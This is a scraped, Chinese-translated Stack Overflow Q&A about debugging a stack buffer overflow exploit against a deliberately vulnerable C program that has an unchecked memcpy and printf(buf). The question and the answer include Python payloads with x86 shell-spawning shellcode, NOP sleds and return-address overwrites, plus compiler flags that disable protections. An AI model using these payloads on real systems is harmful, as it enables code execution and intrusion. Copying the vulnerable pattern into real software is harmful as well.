gpt4 book ai didi

python - 为什么我的堆栈缓冲区溢出漏洞利用不起作用?

转载 作者:太空狗 更新时间:2023-10-29 15:06:53 33 4
gpt4 key购买 nike

所以我有一个非常简单的 stackoverflow:

#include <stdio.h>

int main(int argc, char *argv[]) {

char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);

}

我正试图用这段代码溢出:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

当我溢出堆栈时,我成功地用我想要的地址覆盖了 EIP,但是没有任何反应。它不执行我的 shellcode。

有人看到问题了吗?注意:我的python可能是错误的。


更新

我不明白的是为什么我的代码没有执行。例如,如果我将 eip 指向 nops,则 nops 永远不会被执行。像这样,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

更新

有人可以在 linux 上自己利用这个溢出吗 x86 并发布结果?


更新

没关系,我让它工作了。感谢您的帮助。


更新

好吧,我想我做到了。我确实得到了一个 shell,但现在我再次尝试时遇到了问题。

我所做的只是在开始时溢出堆栈并将我的 shellcode 指向那里。

像这样,

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

这应该指向 A。现在我不明白的是为什么我最后的地址在 gdb 中被更改了。

这就是 gdb 给我的,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

\xcc 被更改为\xcd。这可能与我使用 gdb 时遇到的错误有关吗?

例如,当我用“B”填充该地址时,它可以很好地解析为\x42\x42\x42\x42。那么是什么给了?

如有任何帮助,我们将不胜感激。

此外,我正在使用以下选项进行编译:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

这真的很奇怪,因为除了我需要的地址之外,任何其他地址都有效。


更新

我可以在 gdb 中成功生成一个 shell,

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

但我不明白为什么这有时有效而其他时候无效。有时我覆盖的eip被gdb改变了。有谁知道我错过了什么?另外,我只能在 gdb 中而不是在正常过程中 spwan shell。最重要的是,我似乎只能在 gdb 中启动一次 shell,然后 gdb 停止工作。

例如,现在当我运行以下命令时,我会在 gdb 中得到它...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

这好像是execstack被打开导致的。


更新

是的,出于某种原因,我得到了不同的结果,但该漏洞利用现在正在发挥作用。所以谢谢大家的帮助。如果有人能解释我上面收到的结果,我洗耳恭听。谢谢。

最佳答案

有几个保护措施,针对直接来自编译器。例如,您的堆栈可能无法执行。

readelf -l <filename>

如果你的输出包含这样的东西:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

这意味着您只能在堆栈上读写(因此您应该“返回 libc”以生成您的 shell)。

也可能有金丝雀保护,这意味着在您的变量和指令指针之间有一部分内存包含经过完整性检查的短语,如果它被您的字符串覆盖,程序将退出。

如果您正在自己的程序中尝试此操作,请考虑使用 gcc 命令删除一些保护:

gcc -z execstack

还有一个关于你的程序集的注释,你通常在你的 shell 代码之前包含 nop,所以你不必定位你的 shell 代码开始的确切地址。

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

注意在指令指针里面应该放的地址您可以修改最后的十六进制数字以指向您的 nop 内的某处,而不是必须在缓冲区的开头。

当然gdb如果你正在尝试某事,应该成为你最好的 friend 像那样。

希望这对您有所帮助。

关于python - 为什么我的堆栈缓冲区溢出漏洞利用不起作用?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39732600/

33 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com